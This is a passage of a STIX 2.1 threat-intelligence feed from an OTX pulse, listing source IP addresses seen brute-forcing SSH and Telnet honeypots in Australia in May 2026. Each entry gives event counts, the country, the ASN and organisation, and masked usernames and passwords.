      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.161.65.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 256. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, a*****e, a***l, ***. Passwords observed (masked): p******d, 1****3, 1***5, 1*****!, 1********e.",
      "id": "indicator--1b0705c2-8834-48e6-b13c-05abd31828ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.83.161.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--896bfe3f-ee27-4cc7-a4c5-79666fe6ce24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bd10e555-30b2-4163-99b8-6bc3dc10118c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.184.180.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--2821f044-5723-4748-b18f-875fdafafc93",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.201.205.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T17:15:11.000Z",
      "valid_until": "2026-06-22T17:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--073b4c45-1540-43f4-9c97-35e931b07d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.159.187.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6dfb9b30-514b-4654-aa47-aec048d55319",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.118.193.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--8e39402a-faf9-4d3e-b8a5-769f0cad37f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.0.37.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t. Passwords observed (masked): , r**t.",
      "id": "indicator--225ef7a9-c5da-4dfd-8eb1-14b60b52ac2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 6568. Organisation(s): EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA.",
      "id": "indicator--c3f2fc25-a8df-482f-9ff8-45d3a179a452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.115.172.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela. Usernames observed (masked): a******4, b***s, g******n. Passwords observed (masked): 1****6, a******4, g******n.",
      "id": "indicator--aa2b8dfa-6997-4eda-980f-342f669df2cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.249.205.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--a9fe17b7-acab-44cc-aade-e3333e52fc8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.230.86.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--97b48046-00a2-4d94-b4b1-c8f2799821f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.28.43.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): n****s, 3**********4, i*****2, ***, z******o. Passwords observed (masked): 3***********4, 3**********4, a***n, i*****2, ***.",
      "id": "indicator--4404103c-3c8e-4787-a4d2-65b8215afe8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.99.196.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): **, 3**********4, r**t, s*****u, w******e. Passwords observed (masked): 1***6, 1****6, 3***********4, 3**********4, m***3.",
      "id": "indicator--75cad593-ed92-485b-bdc7-dbdd1bdc04ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.76.38.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): r**t, s*****r, 3**********4, m**g, n***d. Passwords observed (masked): 3***********4, 3**********4, d*******3, ***, m**g.",
      "id": "indicator--5bc19437-fc0c-4638-8daf-f627c51692da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--b4b97ee2-a347-40a3-8ade-1cb8a49adb89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.235.243.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T18:15:19.000Z",
      "valid_until": "2026-06-22T18:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): **. Passwords observed (masked): 1****6.",
      "id": "indicator--860ea4f2-7942-4f06-bd11-26fd88a57cc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): c**o. Passwords observed (masked): 1****6.",
      "id": "indicator--843b24f7-09fa-42e7-90cd-fe14a941cde9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): r**t, c*******g, 3**********4, b*******n, c****s. Passwords observed (masked): *, 1****6, 3***********4, 3**********4, c*******g.",
      "id": "indicator--97374ec5-1b90-40b0-bbe1-73e6ab3c64eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp. Usernames observed (masked): r**t, 3**********4, s***s. Passwords observed (masked): 3***********4, 3**********4, 6******6, A********., B******6.",
      "id": "indicator--b5dbe0c1-953d-426b-a627-889dd4c926bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.160.150.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2267e2bc-ce78-488f-91e1-bf312c529e86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.221.78.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 26337. Organisation(s): Oso Grande IP Services, LLC. Usernames observed (masked): r**t, ***, 3**********4, ***, b****g. Passwords observed (masked): 1****6, 2******0, 3***********4, 3**********4, b****g.",
      "id": "indicator--314feb08-d55b-4983-abf2-99ced2d04cdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.121.54.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9231. Organisation(s): China Mobile Hong Kong Company Limited.",
      "id": "indicator--663ea8f6-97a6-46f9-a750-ad828291c38f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.81.121.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265029. Organisation(s): GUTIERY E MARTINS LTDA.",
      "id": "indicator--48991fed-b356-4ebe-a0c7-d97cc45cf5bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.84.27.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--962b95e2-b6d9-4d35-aa8a-ef943ed49225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.219.202.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--afc6168b-8ae4-44ac-b901-a4fd1600c63a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.246.196.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--575375d3-64d6-42fa-97fe-9c9ca7a7a676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--e40e258b-df5a-4f1a-a141-6f7858ff54c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.2.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 51847. Organisation(s): Nearoute Limited. Usernames observed (masked): r**t, m****r, 3**********4, d****n, u******2. Passwords observed (masked): 1****6, 1*********3, 3***********4, 3**********4, A*********#.",
      "id": "indicator--f97c3dc7-3f4c-4747-a0e9-6d277813151c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.207.136.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--7ed8fec5-ab57-46e3-acbf-489d1d72c365",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.47.125.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 204929. Organisation(s): Television, Telephony, Internet of Ukraine Ltd..",
      "id": "indicator--d9922722-4996-41fb-9f0e-62e8591bd826",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.170.160.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T19:15:10.000Z",
      "valid_until": "2026-06-22T19:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137172. Organisation(s): ALL CONNECT NETWORK SERVICES PRIVATE LIMITED.",
      "id": "indicator--88894bfb-65be-450a-8f98-eaf2d8600b66",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.112.214.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): y**n. Passwords observed (masked): y**n.",
      "id": "indicator--8901dd71-964d-412f-a169-9460236d4c78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): s***s. Passwords observed (masked): s***s.",
      "id": "indicator--a2898325-021d-466e-9d98-3ea6053b08db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T20:15:34.000Z",
      "valid_until": "2026-06-22T20:15:08.000Z"
    },
    {
      "created": "2026-05-21T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142627. Organisation(s): Multilink International. Usernames observed (masked): w***n. Passwords observed (masked): 1****6.",
      "id": "indicator--740c3324-1967-4e5c-8bbe-147d226a25b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-21T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.171.69.111']",
      "pattern_type": "stix",
